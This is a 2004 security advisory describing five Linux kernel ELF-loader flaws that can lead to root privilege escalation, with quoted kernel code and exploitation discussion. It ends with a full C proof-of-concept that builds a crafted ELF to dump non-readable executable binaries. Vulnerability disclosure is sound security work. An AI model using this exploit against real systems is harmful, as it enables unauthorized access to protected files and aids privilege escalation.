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Linux ELF loader vulnerabilities
From: Paul Starzetz <ihaquer () isec pl>
Date: Wed, 10 Nov 2004 12:59:25 +0100 (CET)

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Synopsis:  Linux kernel binfmt_elf loader vulnerabilities
Product:   Linux kernel
Version:   2.4 up to to and including 2.4.27, 2.6 up to to and
           including 2.6.8
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
CVE:       not assigned
Author:    Paul Starzetz <ihaquer () isec pl>
Date:      Nov 10, 2004


Issue:
======

Numerous  bugs  have  been  found  in  the Linux ELF binary loader while
handling setuid binaries.


Details:
========

On Unix like systems the execve(2) system call provides functionality to
replace  the  current process by a new one (usually found in binary form
on the disk) or in other words to execute a new program.

Internally the Linux  kernel  uses  a  binary  format  loader  layer  to
implement  the  low level format dependend functionality of the execve()
system call. The common execve code contains just few  helper  functions
used  to  load  the  new binary and leaves the format specific work to a
specialized binary format loader.

One of the Linux format loaders is  the  ELF  (Executable  and  Linkable
Format)  loader.  Nowadays ELF is the standard format for Linux binaries
besides the a.out binary format, which is not used in practice  anymore.

One  of  the  functions  of a binary format loader is to properly handle
setuid executables, that is executables with the setuid bit set  on  the
file  system  image  of  the executable. It allows execution of programs
under a different user ID than the user issuing the execve call  but  is
some lacy work from security point of view.

Every ELF binary contains an ELF header defining the type and the layout
of the program in memory  as  well  as  addition  sections  (like  which
program interpreter to load, symbot table, etc). The ELF header normally
contains information about the entry point (start address) of the binary
and the position of the memory map header (phdr) in the binary image and
the program  interpreter  (that  is  normally  the  dynamic  linker  ld-
linux.so).  The  memory  map  header  definies the memory mapping of the
executable file that can be seen later from /proc/self/maps.

We have indentified 5 different flaws in the  Linux  ELF  binary  loader
(linux/fs/binfmt_elf.c all line numbers for 2.4.27):


1)  wrong  return value check while filling kernel buffers (loop to scan
the binary header for an interpreter section):

static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
       size = elf_ex.e_phnum * sizeof(struct elf_phdr);
       elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
       if (!elf_phdata)
              goto out;

477:   retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);
       if (retval < 0)
              goto out_free_ph;

The above code looks good on the  first  glance,  however  checking  the
return  value  of  kernel_read (which calls file->f_op->read) to be non-
negative is not sufficient since a read() can perfectly return less than
the  requested  buffer  size  bytes. This bug happens also on lines 301,
523, 545 respectively.


2) incorrect on error behaviour, if the mmap() call fails (loop to  mmap
binary sections into memory):

645:   for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
684:          error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
              if (BAD_ADDR(error))
                     continue;


3)  bad return value vulnerability while mapping the program intrepreter
into memory:

301:   retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size);
       error = retval;
       if (retval < 0)
              goto out_close;

       eppnt = elf_phdata;
       for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
           map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
322:       if (BAD_ADDR(map_addr))
              goto out_close;
out_close:
       kfree(elf_phdata);
out:
       return error;
}


4) the loaded interpreter section can contain an interpreter name string
without the terminating NULL:

508:        for (i = 0; i < elf_ex.e_phnum; i++) {
518:                 elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,
                                                           GFP_KERNEL);
                        if (!elf_interpreter)
                                goto out_free_file;

                        retval = kernel_read(bprm->file, elf_ppnt->p_offset,
                                           elf_interpreter,
                                           elf_ppnt->p_filesz);
                        if (retval < 0)
                                goto out_free_interp;


5)  bug  in  the  common  execve()  code  in  exec.c:  vulnerability  in
open_exec() permitting reading of non-readable ELF binaries,  which  can
be triggered by requesting the file in the ELF PT_INTERP section:

541:          interpreter = open_exec(elf_interpreter);
              retval = PTR_ERR(interpreter);
              if (IS_ERR(interpreter))
                     goto out_free_interp;
              retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);


Discussion:
=============

1)  The  Linux  man  pages state that a read(2) can return less than the
requested number of bytes, even zero. It  is  not  clear  how  this  can
happen  while  reading  a  disk  file  (in contrast to network sockets),
however here some thoughts:

- - if we trick read to fill the elf_phdata buffer  with  less  than  size
bytes,  the remaining part of the buffer will contain some garbage data,
that is data from the previous kernel object, which occupied that memory
area.

Therefore  we  could  arbitrarily modify the memory layout of the binary
supplying a suitable header  information  in  the  kernel  buffer.  This
should  be  sufficient  to  gain controll over the flow of execution for
most of the setuid binaries around.

- - on Linux a disk read goes through the page cache. That is, a disk read
can  easily  fail  on  a page boundary due to a low memory condition. In
this case read will return less than the requested number of  bytes  but
still indicate success (ret>0).

- -  most  of  the  standard  setuid  binaries  on  a  'normal' i386 Linux
installation have ELF headers stored below the  4096th  byte,  therefore
they are probably not exploitable on i386 architecture.


2) This bug can lead to a incorrectly mmaped binary image in the memory.
There are various reasons why a mmap() call can fail:

- - a temporary low memory condition, so that the allocation of a new  VMA
descriptor fails

- -  memory  limit  (RLIMIT_AS) excedeed, which can be easily manpipulated
before calling execve()

- - file locks held for the binary file in question

Security implications in the case of a setuid binary are quite  obvious:
we  may  end  up with a binary without the .text or .bss section or with
those sections shifted (in the case they are not 'fixed'  sections).  It
is  not  clear  which  standard  binaries  are exploitable however it is
sufficient that at some point we come over some instructions  that  jump
into  the  environment area due to malformed memory layout and gain full
controll over the setuid application.


3) This bug is similar to 2) however the code  incorrectly  returns  the
kernel_read  status  to  the calling function on mmap failure which will
assume that the program interpreter has been loaded. That means that the
kernel  will  start  the  execution of the binary file itself instead of
calling the program interpreter (linker) that have to finish the  binary
loading from user space.

We  have  found  that  standard  Linux  (i386, GCC 2.95) setuid binaries
contain code that will jump to the EIP=0 address and crash (since  there
is no virtual memory mapped there), however this may vary from binary to
binary as well from architecture  to  architecture  and  may  be  easily
exploitable.


4) This bug leads to internal kernel file system functions beeing called
with an argument string  exceeding  the  maximum  path  size  in  length
(PATH_MAX). It is not clear if this condition is exploitable.

An  user may try to execute such a malicious binary with an unterminated
interpreter name string and trick the kernel memory manager to return  a
memory  chunk  for  the  elf_interpreter variable followed by a suitable
longish path name (like ./././....). Our experiments show  that  it  can
lead to a preceivable system hang.


5)  This  bug  is  similar  to the shared file table race [1]. We give a
proof-of-concept code at the end of this article that  just  core  dumps
the non-readable but executable ELF file.

An user may create a manipulated ELF binary that requests a non-readable
but executable file as program intrepreter and gain read access  to  the
privileged  binary.  This  works  only  if the file is a valid ELF image
file, so it is not possible to read a data file that has the execute bit
set  but the read bit cleared. A common usage would be to read exec-only
setuid binaries to gain offsets for further exploitation.


Impact:
=======

Unprivileged users may gain elevated (root) privileges.


Credits:
========

Paul Starzetz <ihaquer () isec pl> has  identified  the  vulnerability  and
performed  further  research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH  EXPRESS  PERMISSION  OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This  document and all the information it contains are provided "as is",
for educational purposes only, without warranty  of  any  kind,  whether
express or implied.

The  authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of  the  information   provided  in
this  document.  Liability  claims regarding damage caused by the use of
any information provided, including any kind  of  information  which  is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

/*
 *
 *      binfmt_elf executable file read vulnerability
 *
 *      gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
 *
 *      Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>

#include <linux/elf.h>


#define BADNAME "/tmp/_elf_dump"



void usage(char *s)
{
        printf("\nUsage: %s executable\n\n", s);
        exit(0);
}

//      ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
//              "1:             jmp 1b \n"
                "               xorl    %edi, %edi              \n"
                "               movl    %esp, %esi              \n"
                "               xorl    %edx, %edx              \n"
                "               xorl    %ebp, %ebp              \n"
                "               call    get_addr                \n"

                "               movl    %esi, %esp              \n"
                "               movl    %edi, %ebp              \n"
                "               jmp     inst_sig                \n"

                "get_addr:      popl    %ecx                    \n"

//      sighand
                "inst_sig:      xorl    %eax, %eax              \n"
                "               movl    $11, %ebx               \n"
                "               movb    $48, %al                \n"
                "               int     $0x80                   \n"

                "ld_page:       movl    %ebp, %eax              \n"
                "               subl    %edx, %eax              \n"
                "               cmpl    $0x1000, %eax           \n"
                "               jle     ld_page2                \n"

//      mprotect
                "               pusha                           \n"
                "               movl    %edx, %ebx              \n"
                "               addl    $0x1000, %ebx           \n"
                "               movl    %eax, %ecx              \n"
                "               xorl    %eax, %eax              \n"
                "               movb    $125, %al               \n"
                "               movl    $7, %edx                \n"
                "               int     $0x80                   \n"
                "               popa                            \n"

                "ld_page2:      addl    $0x1000, %edi           \n"
                "               cmpl    $0xc0000000, %edi       \n"
                "               je      dump                    \n"
                "               movl    %ebp, %edx              \n"
                "               movl    (%edi), %eax            \n"
                "               jmp     ld_page                 \n"

                "dump:          xorl    %eax, %eax              \n"
                "               xorl    %ecx, %ecx              \n"
                "               movl    $11, %ebx               \n"
                "               movb    $48, %al                \n"
                "               int     $0x80                   \n"
                "               movl    $0xdeadbeef, %eax       \n"
                "               jmp     *(%eax)                 \n"

        );
}


static volatile void bad_code_end(void)
{
}


int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;

        if(ac<2)
                usage(av[0]);

//      make bad a.out
        fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
        nl = strlen(av[1])+1;
        memset(&eh, 0, sizeof(eh) );

//      elf exec header
        memcpy(eh.e_ident, ELFMAG, SELFMAG);
        eh.e_type = ET_EXEC;
        eh.e_machine = EM_386;
        eh.e_phentsize = sizeof(struct elf_phdr);
        eh.e_phnum = 2;
        eh.e_phoff = sizeof(eh);
        write(fd, &eh, sizeof(eh) );

//      section header(s)
        memset(&eph, 0, sizeof(eph) );
        eph.p_type = PT_INTERP;
        eph.p_offset = sizeof(eh) + 2*sizeof(eph);
        eph.p_filesz = nl;
        write(fd, &eph, sizeof(eph) );

        memset(&eph, 0, sizeof(eph) );
        eph.p_type = PT_LOAD;
        eph.p_offset = 4096;
        eph.p_filesz = 4096;
        eph.p_vaddr = 0x0000;
        eph.p_flags = PF_R|PF_X;
        write(fd, &eph, sizeof(eph) );

//      .interp
        write(fd, av[1], nl );

//      execable code
        nl = &bad_code_end - &bad_code;
        lseek(fd, 4096, SEEK_SET);
        write(fd, &bad_code, 4096);
        close(fd);

//      dump the shit
        rl.rlim_cur = RLIM_INFINITY;
        rl.rlim_max = RLIM_INFINITY;
        if( setrlimit(RLIMIT_CORE, &rl) )
                perror("\nsetrlimit failed");
        fflush(stdout);
        pid = fork();
        if(pid)
                wait(NULL);
        else
                execl(BADNAME, BADNAME, NULL);

        printf("\ncore dumped!\n\n");
        unlink(BADNAME);

return 0;
}

- -- 
Paul Starzetz
iSEC Security Research
http://isec.pl/

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